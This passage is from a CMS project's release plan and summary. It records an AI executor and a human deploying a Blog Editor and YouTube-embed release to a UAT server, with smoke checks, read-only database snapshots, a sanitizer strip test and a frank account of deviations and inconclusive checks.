Host (../sm-grzybyfunkcjonalne-app): in plugins/golem15/journal fetch origin and check out the sm-journal-plugin main just pushed; in vue-grzybyfunkcjonalne-app fetch origin and check out the main plan 04 pushed. In README.md's Admin section add one sentence that Journal post and category content are edited with the Blog Editor (WYSIWYG with a source tab), that saving an untouched post keeps its stored HTML, and that a save removes markup the HTML policy does not allow and names what it removed. Embeds and the public CSP (D-17): the staging vhost's Content-Security-Policy-Report-Only (16.1) has default-src 'self' and no frame-src, so every embed would log a violation and block the later switch to an enforced policy. Add frame-src https://www.youtube-nocookie.com to that policy in deploy/nginx/grzybyfunkcjonalne-staging.conf, add the needle frame-src https://www.youtube-nocookie.com to the vhost checks in scripts/check-deploy.sh, and name it in DEPLOY.md's Security headers bullet. Installing a changed vhost on UAT needs root (16.1 UAT item 1), which the executor does not have: record it in the SUMMARY as a pending human step; it blocks nothing here, because the policy only reports. Commit both gitlinks, README.md and the three deploy files as "chore: bump journal plugin (Blog Editor) and the site app (embeds)" and push origin master.
|
||||
|
||||
Build: bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, then bash ../sm-grzybyfunkcjonalne-app/scripts/build.sh. Record the local sha256sum of ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne.
|
||||
|
||||
Release per DEPLOY.md "Release": on the server first cp -a build/nuxt/.output build/nuxt/.output.prev; rsync the binary to bin/grzybyfunkcjonalne.new and config/, scripts/ and build/nuxt/.output/ as listed in "Build and upload" (never a local .env); compare the sha256 of bin/grzybyfunkcjonalne.new with the local one; cp -p bin/grzybyfunkcjonalne bin/grzybyfunkcjonalne.prev and mv bin/grzybyfunkcjonalne.new bin/grzybyfunkcjonalne; bin/grzybyfunkcjonalne migrate (no new migration in this phase; must exit 0); record RESTART_TS as the server's date +'%Y/%m/%d %H:%M:%S'; sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt. Smoke with the DEPLOY.md recipe (first verify). On any failure: move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back, restart both programs and report.
|
||||
|
||||
Snapshot for Task 3 (read-only): pick HTML_POST as the lowest published post id whose ltrim(content) starts with the less-than character; then run exactly the two SELECTs of Task 3's first two verify commands (same column concatenation, same ORDER BY) and keep their outputs in the session as SNAPSHOT_POSTS and SNAPSHOT_TRANSLATIONS, and in the SUMMARY. Record post 64's current state as POST64_STATE with one more read-only SELECT printing (content LIKE '%<style%')::int || ':' || (content_html LIKE '%<style%')::int for id 64. 16.1 left content_html without the style block (expected x:0); record whatever it prints, and report a 1 in the second position in the SUMMARY instead of treating it as a failure. The untouched re-save in Task 3 must not change either column, whatever their state.</action>
|
||||
<verify>
|
||||
<automated>ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" > "$C/.curlrc"; cd /srv/grzybyfunkcjonalne/go && CURL_HOME="$C" scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl; rc=$?; rm -rf "$C"; exit $rc' | grep '^smoke: ok ('</automated>
|
||||
<fails_when>Non-zero exit: smoke.sh failed on the server, the output contains "smoke: FAIL", or no line starts with "smoke: ok (".</fails_when>
|
||||
<automated>test "$(sha256sum ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne | cut -d' ' -f1)" = "$(ssh grzybyfunkcjonalne-uat 'sha256sum /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne' | cut -d' ' -f1)" && ssh grzybyfunkcjonalne-uat 'sudo supervisorctl status grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt' | grep -c RUNNING | grep -qx 2 && test -n "$(git ls-remote --tags origin "refs/tags/$RELEASE_TAG")" && ssh grzybyfunkcjonalne-uat 'test -x /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne.prev && test -d /srv/grzybyfunkcjonalne/go/build/nuxt/.output.prev' && echo deploy-ok</automated>
|
||||
<fails_when>Non-zero exit or "deploy-ok" absent: the server binary differs from the local build, fewer than two programs are RUNNING, the tag is missing on origin, or a rollback copy is missing on the server.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `git ls-remote --tags origin` lists the release tag (or the SUMMARY names the reused tag).
|
||||
- `git -C ../sm-journal-plugin rev-parse main` equals `git -C ../sm-journal-plugin rev-parse origin/main`, and ../sm-journal-plugin/go.mod requires summercms at the release tag.
|
||||
- `git -C ../sm-grzybyfunkcjonalne-app ls-files -s plugins/golem15/journal vue-grzybyfunkcjonalne-app` shows the pushed sm-journal-plugin main and vue-grzybyfunkcjonalne-app main commits, and the host master equals origin/master.
|
||||
- `grep -c "frame-src https://www.youtube-nocookie.com" ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh` reports at least 1 for each file, and check-deploy.sh passed before the build; the SUMMARY lists the vhost install as a pending root step.
|
||||
- The on-server smoke prints a line starting with "smoke: ok (" and the second verify prints deploy-ok.
|
||||
- The SUMMARY records the tag, the pushed heads, both sha256 values, RESTART_TS, HTML_POST, POST64_STATE and the md5 snapshot; no credential appears in it.
|
||||
</acceptance_criteria>
|
||||
<done>UAT runs the released Blog Editor and embed rendering from pushed tags and branches, every smoke URL passes, and the pre-save snapshot is recorded.</done>
|
||||
</task>
|
||||
|
||||
<task type="checkpoint:human-action" gate="blocking-human">
|
||||
<name>Task 3: UAT acceptance: untouched re-saves are byte-identical; a Blog Editor edit stores HTML in both columns with an uploaded image and an embed that renders on the site; unsafe markup is stripped and reported, never refused</name>
|
||||
<precondition>Task 2 printed deploy-ok; RESTART_TS, HTML_POST, SNAPSHOT_POSTS and SNAPSHOT_TRANSLATIONS are set in the session and recorded in the SUMMARY.</precondition>
|
||||
<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md (Manual-Only Verifications), ../sm-grzybyfunkcjonalne-app/DEPLOY.md (Smoke, Rollback), this plan's SUMMARY (snapshot)</read_first>
|
||||
<action>Print the steps for the human and stop. The executor never asks for, receives or stores a credential.
|
||||
|
||||
Human steps in https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts: (1) open post 64 (ekstrakt-z-turkey-tail: markdown content with the raw author footer, served in the editor as its content_html, which 16.1 re-rendered without the style block) and post HTML_POST; on each press "Zapisz" without touching the editor (D-03); no removal notice may appear. (2) Create a post with slug uat-16-2-blog-editor, unpublished: a heading, bold text, a bullet list, a link, a 3x3 table, an image uploaded from the toolbar with alt text containing a colon and a caption, and a YouTube embed from a youtube.com URL; save; no removal notice may appear (D-02, D-05, D-18). (3) Still unpublished, in the source tab of the test post add a harmless style block that colours paragraphs red and an onclick="void 0" attribute on one paragraph, then save (D-10 amended): the save succeeds, a notice under the field names the removed style element and the onclick attribute, and the editor reloads without them. (4) Publish the post for the site check, then reply with what the notice in step 3 said.
|
||||
|
||||
After the reply run the verify commands, then tell the human to unpublish or delete the test post. If a check fails, report it and offer the rollback (move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back, restart both programs).</action>
|
||||
<instructions>
|
||||
Claude deployed the release and passed the on-server smoke in Task 2, and recorded a checksum snapshot of post 64 and post HTML_POST.
|
||||
The human logs in to the UAT admin (basic-auth realm plus an admin account), performs steps 1 to 4 and replies.
|
||||
</instructions>
|
||||
<verification>Read-only psql on the server compares the snapshot and checks the test post's stored HTML; an on-server curl checks the public page for the youtube-nocookie iframe; the Go log since RESTART_TS has no panic or SQLSTATE line.</verification>
|
||||
<resume-signal>Type "saved and published" once steps 1 to 4 are done, with the step 3 notice text, or describe what went wrong.</resume-signal>
|
||||
<verify>
|
||||
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT id || ':' || md5(content) || ':' || md5(content_html) FROM golem15_journal_posts WHERE id IN (64, $HTML_POST) ORDER BY id\"" | diff - <(printf '%s\n' "$SNAPSHOT_POSTS") && echo posts-unchanged</automated>
|
||||
<fails_when>Non-zero exit or "posts-unchanged" absent: an untouched save changed content or content_html of post 64 or HTML_POST (SNAPSHOT_POSTS holds the Task 2 rows in the same id:md5:md5 format).</fails_when>
|
||||
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT model_id || ':' || locale || ':' || md5(coalesce(attribute_data, '')) FROM golem15_translate_attributes WHERE model_type LIKE 'Golem15_Journal_Models_Post' AND model_id IN ('64', '$HTML_POST') ORDER BY model_id, locale\"" | diff - <(printf '%s\n' "$SNAPSHOT_TRANSLATIONS") && echo translations-unchanged</automated>
|
||||
<fails_when>Non-zero exit or "translations-unchanged" absent: an untouched save added, removed or changed a translation row of the two posts (for example empty en values).</fails_when>
|
||||
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT (content = content_html)::int || ':' || (content LIKE '%data-embed=_youtube_%')::int || ':' || (content LIKE '%<figcaption%')::int || ':' || (content LIKE '%/storage/app/uploads/public/journal/posts/%')::int || ':' || (position('<style' in content) = 0 AND position('onclick' in content) = 0)::int FROM golem15_journal_posts WHERE slug = 'uat-16-2-blog-editor'\"" | grep -qx '1:1:1:1:1' && echo edit-ok</automated>
|
||||
<fails_when>Non-zero exit or "edit-ok" absent: the test post is missing, content differs from content_html, it lacks the embed placeholder (the policy stripped data-embed), the figcaption or an uploaded image URL under journal/posts, or the step 3 style element or onclick attribute was stored (the strip did not happen).</fails_when>
|
||||
<automated>ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" > "$C/.curlrc"; CURL_HOME="$C" curl -s https://uat.grzybyfunkcjonalne.pl/blog/uat-16-2-blog-editor; rm -rf "$C"' | grep -c 'src="https://www.youtube-nocookie.com/embed/' | grep -qv '^0$' && ssh grzybyfunkcjonalne-uat 'sudo supervisorctl tail -65536 grzybyfunkcjonalne-go' | awk -v since="$RESTART_TS" 'substr($0,1,19) >= since' | grep -ciE 'panic|SQLSTATE' | grep -qx 0 && echo site-ok</automated>
|
||||
<fails_when>Non-zero exit or "site-ok" absent: the public page of the test post has no youtube-nocookie iframe (the layer did not expand the placeholder, or the page is not reachable because the post is not published), or the Go log has a panic or SQLSTATE line after RESTART_TS.</fails_when>
|
||||
<human-check>In the admin (D-19): open a category with content, change one word in the Blog Editor and save; no removal notice appears (all 6 UAT category bodies passed the policy in 16.1) and the category page on the site shows the change. Open post HTML_POST, switch to the source tab: it shows the stored HTML exactly as before. Reply "UAT approved" or list the issues.</human-check>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- posts-unchanged, translations-unchanged, edit-ok and site-ok are printed.
|
||||
- The SUMMARY records the human's replies, the step 3 notice text, the human-check answer (or marks it pending for /msd-verify-work), and that the test post was unpublished or deleted afterwards.
|
||||
</acceptance_criteria>
|
||||
<done>Untouched saves of imported posts are byte-identical on UAT, a Blog Editor edit with an upload and an embed is stored in both columns and renders on the site, and unsafe markup added in the source tab is stripped and reported instead of refused.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| executor → git origin (git.golem15.com) | tags and branches pushed here are read by other repositories |
|
||||
| executor → UAT server (ssh) | the release runs next to the live Winter site on the same server |
|
||||
| human admin → UAT admin | the only path that writes post data in this plan |
|
||||
| server .env files → processes | secrets live only on the server |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-23 | Tampering (false-green release) | release gate | medium | mitigate | Task 1 runs vet in both Go repositories, the named cabana smoke set with a counted PASS check, the journal Go and JS tests, TestDocsTree, the admin vitest suite and three drift gates; the Docker-only suites and open high review findings are listed and the human chooses at a blocking-human checkpoint |
|
||||
| T-16.2-24 | Tampering / Repudiation | annotated tag and pushes | high | mitigate | Tag only with clean trees and nothing behind origin, re-checked right before the push; git tag --contains decides whether a concurrent release already includes plan 01; the binary's sha256 must equal the local build; the SUMMARY records every pushed head |
|
||||
| T-16.2-25 | Information Disclosure | credentials | high | mitigate | No .env is rsynced; the executor never asks for, prints or stores UAT basic-auth or admin credentials; all admin steps are done by the human |
|
||||
| T-16.2-26 | Tampering | UAT database and the Winter site | medium | mitigate | The executor runs only SELECT queries; data changes only through human admin saves; the Winter vhost, php-fpm and PHP database are untouched; binary and Nuxt output rollback copies are kept |
|
||||
| T-16.2-35 | Tampering | UAT strip check (Task 3 step 3) | low | mitigate | Only harmless markup is added (a red-paragraph style block and onclick="void 0"), on an unpublished test post; the strip is verified read-only before the post is published for the site check; the layer sanitizes again at render; the test post is unpublished or deleted afterwards |
|
||||
| T-16.2-27 | Elevation of Privilege | sudo on the server | low | accept | sudo is limited by the server to nginx -t, nginx reload and supervisorctl; this plan uses supervisorctl restart, status and tail only |
|
||||
| T-16.2-SC | Tampering | packages | high | mitigate | No package is installed: build.sh builds from committed lockfiles and go.sum (pnpm install --frozen-lockfile for the app, which pins vue-journal-layer v0.2.0 from plan 04); go mod edit changes only the nominal summercms require |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1 printed release-gate-ok and a human chose a release option.
|
||||
- Task 2: "smoke: ok (" and deploy-ok.
|
||||
- Task 3: posts-unchanged, translations-unchanged, edit-ok and site-ok.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- Tag, plugin and host bumps pushed; UAT redeployed per DEPLOY.md with rollback copies; on-server smoke passes.
|
||||
- D-03 proven on real imported posts; D-02, D-05, D-10 (strip and report), D-17 and D-18 proven with a test post, D-19 with a category edit; no credential handled by the executor; no write SQL.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md` when done, with the release sheet, the human replies, the tag and pushed heads, both sha256 values, RESTART_TS, HTML_POST, POST64_STATE, the snapshot and every check result.
|
||||
</output>
|
||||
@@ -0,0 +1,316 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 05
|
||||
subsystem: release
|
||||
tags: [release, uat, deploy, summercms-tag, journal, blog-editor, embeds, csp, grzybyfunkcjonalne]
|
||||
|
||||
requires:
|
||||
- phase: 16.2-01
|
||||
provides: pact.HasFormFieldTypes, meta.notices, the field upload route and admin SPA plugin fields (released as summercms v0.1.18)
|
||||
- phase: 16.2-02
|
||||
provides: the Blog Editor formwidget and its editor corpus in sm-journal-plugin
|
||||
- phase: 16.2-03
|
||||
provides: Journal post and category content on the Blog Editor, the editor-output policy extension and the strip-and-report save
|
||||
- phase: 16.2-04
|
||||
provides: vue-journal-layer v0.2.0 (embed expansion) pinned by vue-grzybyfunkcjonalne-app main 465286a
|
||||
provides:
|
||||
- "summercms annotated tag v0.1.18 (tag object 04dc5bd, commit f1d8a75) on origin"
|
||||
- "sm-journal-plugin main 9d5bfc4 on origin, go.mod requiring summercms v0.1.18"
|
||||
- "sm-grzybyfunkcjonalne-app master 6f4f222 on origin: journal gitlink 9d5bfc4, vue-grzybyfunkcjonalne-app gitlink 465286a, README Blog Editor note, report-only CSP frame-src https://www.youtube-nocookie.com"
|
||||
- "UAT (uat.grzybyfunkcjonalne.pl) running the Blog Editor release, with rollback copies of the previous binary and Nuxt output"
|
||||
affects: [16.2-06, sm-journal-plugin, sm-grzybyfunkcjonalne-app, uat]
|
||||
|
||||
actuals:
|
||||
tokens: 9000
|
||||
tasks: 3
|
||||
commits: 0
|
||||
plan_head_before: f1d8a757fd5c1174f7f1959779602e2ad11b0de2
|
||||
plan_head_after: f1d8a757fd5c1174f7f1959779602e2ad11b0de2
|
||||
commits_note: "summercms.go got the tag only (no commit). Code commits live in the sibling repositories below."
|
||||
plugin_commits_repo: ../sm-journal-plugin
|
||||
plugin_head_before: c60abc6
|
||||
plugin_head_after: 9d5bfc4a3597be8ba4abee26d80dc2b81d343da8
|
||||
plugin_commits: 1
|
||||
host_commits_repo: ../sm-grzybyfunkcjonalne-app
|
||||
host_head_before: 0b93ac2
|
||||
host_head_after: 6f4f22296b6295e2750e3d376bd0300c8031ba51
|
||||
host_commits: 1
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Restart-anchored log check: the Go log is filtered from the River client_id line the restart logged, read straight from /var/log/supervisor, instead of `supervisorctl tail` (which fails on UAT)"
|
||||
|
||||
key-files:
|
||||
created: []
|
||||
modified:
|
||||
- ../sm-journal-plugin/go.mod
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
|
||||
- ../sm-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
|
||||
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
|
||||
key-decisions:
|
||||
- "Human chose release-now at the Task 1 gate with the reply \"release v0.1.18\"; summercms v0.1.18 is published and a later defect gets v0.1.19"
|
||||
- "On UAT the Nuxt rollback copy lives at /srv/grzybyfunkcjonalne/nuxt/.output.prev, not go/build/nuxt/.output.prev as the plan assumed"
|
||||
- "The site-ok log check reads /var/log/supervisor/grzybyfunkcjonalne-go.log from the restart's River client_id anchor; `sudo supervisorctl tail` fails on UAT (ExpatError) and would pass vacuously"
|
||||
|
||||
patterns-established:
|
||||
- "A UAT release check that reads a log must prove it read lines (anchor present) before counting zero errors"
|
||||
|
||||
requirements-completed: [D-02, D-05, D-10, D-17, D-18]
|
||||
|
||||
coverage:
|
||||
- id: R1
|
||||
description: "Release: tag v0.1.18, plugin and host bumps pushed; UAT binary sha256 equals the local build; both programs RUNNING; rollback copies kept; on-server smoke passes"
|
||||
requirement: "D-07"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "Task 2 verify: smoke: ok (98 urls); deploy-ok (with the corrected Nuxt rollback path)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: R2
|
||||
description: "D-03: an untouched admin save of post 64 (markdown with the raw author footer) leaves md5(content), md5(content_html) and its en translation row unchanged"
|
||||
requirement: "D-03"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "Task 3 verify: posts-unchanged and translations-unchanged; post 64 updated_at moved to 2026-10-10 11:26:13+00, so the save reached the database"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: R3
|
||||
description: "D-03: an untouched admin save of HTML_POST (post 1) leaves its bytes unchanged"
|
||||
requirement: "D-03"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "posts-unchanged passed for post 1, but post 1 updated_at is still 2026-10-09 17:33:51+00 and no post other than 64 and 105 was written after RESTART_TS, so no save of post 1 reached the database and the pass is vacuous"
|
||||
status: inconclusive
|
||||
human_judgment: true
|
||||
rationale: "A human must save post 1 untouched again; then re-run the posts-unchanged SELECT and confirm post 1's updated_at moved"
|
||||
- id: R4
|
||||
description: "D-02, D-05, D-18: the Blog Editor test post stores content = content_html with a YouTube placeholder, a figcaption and an uploaded image URL under journal/posts"
|
||||
requirement: "D-18"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "Task 3 verify: edit-ok (1:1:1:1:1)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: R5
|
||||
description: "D-10 amended: a style element and an onclick attribute added in the source tab are stripped on save and reported"
|
||||
requirement: "D-10"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "edit-ok fifth column 1 (no <style, no onclick stored)"
|
||||
status: pass
|
||||
- kind: manual
|
||||
ref: "Human reply \"Did tests, all points passed, bravo.\" covers the step 3 notice; the notice text was not quoted"
|
||||
status: pass
|
||||
human_judgment: true
|
||||
- id: R6
|
||||
description: "D-17: the published test post's public page contains a youtube-nocookie iframe; the Go log since the restart has no panic or SQLSTATE line"
|
||||
requirement: "D-17"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "Task 3 verify: site-ok (1 iframe; 14 log lines after the anchor, 0 panic|SQLSTATE)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: R7
|
||||
description: "D-19: a one-word category edit saves without a removal notice and shows on the site"
|
||||
requirement: "D-19"
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "Not among the four steps the human ran; no journal category row was updated after RESTART_TS, so no read-only check covers it"
|
||||
|
||||
duration: "about 25 min of executor time across three runs, plus the human UAT session (11:26 to 11:30Z)"
|
||||
completed: 2026-10-10
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.2 Plan 05: Release and UAT Acceptance of the Blog Editor Summary
|
||||
|
||||
**summercms v0.1.18, sm-journal-plugin 9d5bfc4 and host 6f4f222 are released to UAT. The build there matches the local sha256, and the on-server smoke passes on 98 URLs. On real data, an untouched save of post 64 is byte-identical. A Blog Editor test post stores identical content and content_html with an uploaded figure and a YouTube embed, the embed renders as a youtube-nocookie iframe on the site, and markup that was not allowed was stripped on save. The untouched save of HTML post 1 has no database evidence yet, and the D-19 category check is still open.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** about 25 min of executor time across three runs, plus the human session.
|
||||
- **Started:** about 2026-10-10T11:10Z, after plan 04 closed.
|
||||
- **Completed:** 2026-10-10T11:36Z
|
||||
- **Tasks:** 3/3 (Task 1 blocking-human decision, Task 2 tracer, Task 3 blocking-human human-action)
|
||||
- **Files modified:** 7 across sm-journal-plugin and sm-grzybyfunkcjonalne-app. summercms.go got only the tag.
|
||||
|
||||
## Release Sheet (Task 1)
|
||||
|
||||
- **Gate:** the Task 1 verify printed `release-gate-ok`. It covered vet in both Go repositories, the six-test cabana smoke set, the journal classes and controllers tests, TestDocsTree, the admin vitest suite, the admin dist and OpenAPI drift gates, the journal vitest suite and the journal dist gate. All three repositories were clean and not behind origin.
|
||||
- **Tag:** `v0.1.18`. v0.1.17 was the latest tag, and v0.1.18 did not exist on origin.
|
||||
- **Commits pushed per repository:**
|
||||
- summercms.go master `c21fe36..f1d8a75` (19 commits, including planning docs).
|
||||
- sm-journal-plugin main `c60abc6..9d5bfc4` (9 commits: plans 02 and 03, plus the go.mod bump).
|
||||
- Host master `0b93ac2..6f4f222`.
|
||||
- **UAT D-07 split (read-only SELECT):** 102 posts whose content starts with `<` and are served as content, and 3 markdown posts served as content_html. Re-read after Task 3, so the count includes test post 105. Before the test post it was 101:3.
|
||||
- **Suites not run here (Docker host needed):**
|
||||
- The modules/cabana testcontainers suites.
|
||||
- The sm-journal-plugin root harness: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML and TestCategoriesAdminContent.
|
||||
- ./models.
|
||||
- These are WINDOWS.md entries 14 to 16, which go to plan 06.
|
||||
- **Review findings:** neither 16.2-REVIEW.md nor 16.2-SECURITY.md exists, so there are no open high findings.
|
||||
- **Human reply, verbatim:** "release v0.1.18" (release-now).
|
||||
|
||||
## Task Commits
|
||||
|
||||
| Task | Name | Repo | Commit |
|
||||
|---|---|---|---|
|
||||
| 1 | Release gate | (none) | release-gate-ok, no commit |
|
||||
| 2 | Tag summercms | summercms.go | annotated tag `v0.1.18` (object `04dc5bdabecd95a58b5b7d3a02ed465a45fbc99a`, commit `f1d8a757fd5c1174f7f1959779602e2ad11b0de2`) |
|
||||
| 2 | Require summercms v0.1.18 | sm-journal-plugin | `9d5bfc4` chore(deps): require summercms v0.1.18 |
|
||||
| 2 | Bump gitlinks, README note, CSP frame-src | sm-grzybyfunkcjonalne-app | `6f4f222` chore: bump journal plugin (Blog Editor) and the site app (embeds) |
|
||||
| 3 | UAT acceptance (read-only checks) | (none) | no commit |
|
||||
|
||||
**Pushed heads:**
|
||||
- summercms.go master `f1d8a75`, plus tag `v0.1.18`.
|
||||
- sm-journal-plugin main `9d5bfc4a3597be8ba4abee26d80dc2b81d343da8`.
|
||||
- sm-grzybyfunkcjonalne-app master `6f4f22296b6295e2750e3d376bd0300c8031ba51`, with journal gitlink `9d5bfc4a…` and vue-grzybyfunkcjonalne-app gitlink `465286a880f0aae6118c2915aa1475a5da353295` (was `ada03b2`; it pins vue-journal-layer v0.2.0).
|
||||
|
||||
## Deploy (Task 2)
|
||||
|
||||
- **Build sha256:** local `01c0b64a53a3b95f6481be21408cfa7450828414516e6868c3801e937680edc4`. The remote copy matched, first as `bin/grzybyfunkcjonalne.new` and again after the move.
|
||||
- **Previous binary:** `bin/grzybyfunkcjonalne.prev`, sha256 `e5b0ad28ca0384993470ac5a3177d502b7bd0b67c553488f86b43ae3363af232`.
|
||||
- **Nuxt rollback copy:** `/srv/grzybyfunkcjonalne/nuxt/.output.prev`.
|
||||
- **Migrations:** `migrate` printed `✓ migrations applied`, rc 0.
|
||||
- **RESTART_TS:** `2026/10/10 11:17:46` (server time, UTC). Log anchor: `client_id=alexandria_2026_10_10T11_17_46_316300`.
|
||||
- **Smoke:** `smoke: ok (98 urls)`, then `deploy-ok`.
|
||||
|
||||
**Snapshot taken before the human saves (read-only):**
|
||||
- `HTML_POST=1` (10-faktow-na-temat-cordycepsu).
|
||||
- `SNAPSHOT_POSTS`:
|
||||
```
|
||||
1:a026264105f900175b9770e637e5ec5c:a026264105f900175b9770e637e5ec5c
|
||||
64:0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c
|
||||
```
|
||||
- `SNAPSHOT_TRANSLATIONS`: `64:en:862fc5b362cc9856e6736a2078dca3ba`. Post 1 has no translation rows.
|
||||
- `POST64_STATE=1:1`. The plan expected `x:0`. Post 64's content and content_html both still contain a `<style` element: one `.author-footer` CSS block, at offset 4584 in content and 5035 in content_html. The style block was not removed from content_html on UAT as the plan assumed. This is reported, not a failure. The untouched re-save kept it byte-for-byte, and a re-read after Task 3 still prints `1:1`.
|
||||
|
||||
## UAT Acceptance (Task 3)
|
||||
|
||||
**Human reply, verbatim:** "Did tests, all points passed, bravo."
|
||||
|
||||
The human confirmed that all four steps passed, including the step 3 strip notice, but did not quote the notice text.
|
||||
|
||||
**Read-only checks, run after the reply:**
|
||||
|
||||
| Check | Result | Detail |
|
||||
|---|---|---|
|
||||
| posts-unchanged | pass | The md5 rows of posts 1 and 64 match the snapshot exactly |
|
||||
| translations-unchanged | pass | `64:en:862fc5b3…` matches; there are still no rows for post 1 |
|
||||
| edit-ok | pass | Test post `uat-16-2-blog-editor` (id 105) prints `1:1:1:1:1`: content = content_html, a `data-embed="youtube"` placeholder, a figcaption, an image under `/storage/app/uploads/public/journal/posts/`, and neither `<style` nor `onclick` |
|
||||
| site-ok | pass | The public page `/blog/uat-16-2-blog-editor`, fetched on the server, has 1 `src="https://www.youtube-nocookie.com/embed/` iframe. The Go log has 14 lines after the restart anchor, with 0 panic and 0 SQLSTATE |
|
||||
|
||||
**Which rows the saves wrote:** only post 64 (11:26:13Z) and post 105 (11:29:56Z) have `updated_at` after RESTART_TS. Post 105 is published. Post 1 still has `updated_at` 2026-10-09 17:33:51Z. The admin save runs GORM `Save`, which always sets `updated_at`, so no save of post 1 reached the database. Either it was not saved, or a different post was opened. The posts-unchanged pass for post 1 is therefore vacuous, and D-03 is proven on post 64 only (see Open Items).
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
- `../sm-journal-plugin/go.mod`: nominal require of summercms v0.1.18. The go.work replace stays.
|
||||
- `../sm-grzybyfunkcjonalne-app/plugins/golem15/journal` and `vue-grzybyfunkcjonalne-app`: gitlink bumps.
|
||||
- `../sm-grzybyfunkcjonalne-app/README.md`: an Admin note on the Blog Editor, lossless untouched saves, and stripped markup being reported.
|
||||
- `../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf`, `scripts/check-deploy.sh` and `DEPLOY.md`: `frame-src https://www.youtube-nocookie.com` in the report-only CSP, its check needle and its docs line.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
- Release now with v0.1.18 (human, Task 1).
|
||||
- The real Nuxt rollback path is `nuxt/.output.prev`.
|
||||
- The site-ok log check reads the supervisor log file from the restart anchor.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 1 - Bug] The plan's Nuxt rollback path was wrong**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** The plan copies, checks and restores `go/build/nuxt/.output(.prev)`. On UAT the Nuxt server runs from `/srv/grzybyfunkcjonalne/nuxt/.output`.
|
||||
- **Fix:** The rollback copy was made at `/srv/grzybyfunkcjonalne/nuxt/.output.prev`, and the deploy-ok check tested that path.
|
||||
- **Files modified:** none (server layout only)
|
||||
- **Commit:** none
|
||||
|
||||
**2. [Rule 1 - Bug] The site-ok log check passed vacuously**
|
||||
- **Found during:** Task 2 (log check), applied in Task 3
|
||||
- **Issue:** `sudo supervisorctl tail -65536 grzybyfunkcjonalne-go` fails on UAT with an ExpatError. The pipeline then counted 0 matching lines, so the check would pass whatever the log contained.
|
||||
- **Fix:** Read `/var/log/supervisor/grzybyfunkcjonalne-go.log` directly. The command first requires the restart's River anchor (`client_id=alexandria_2026_10_10T11_17_46_316300`) to be present, then counts panic|SQLSTATE only in the lines after it:
|
||||
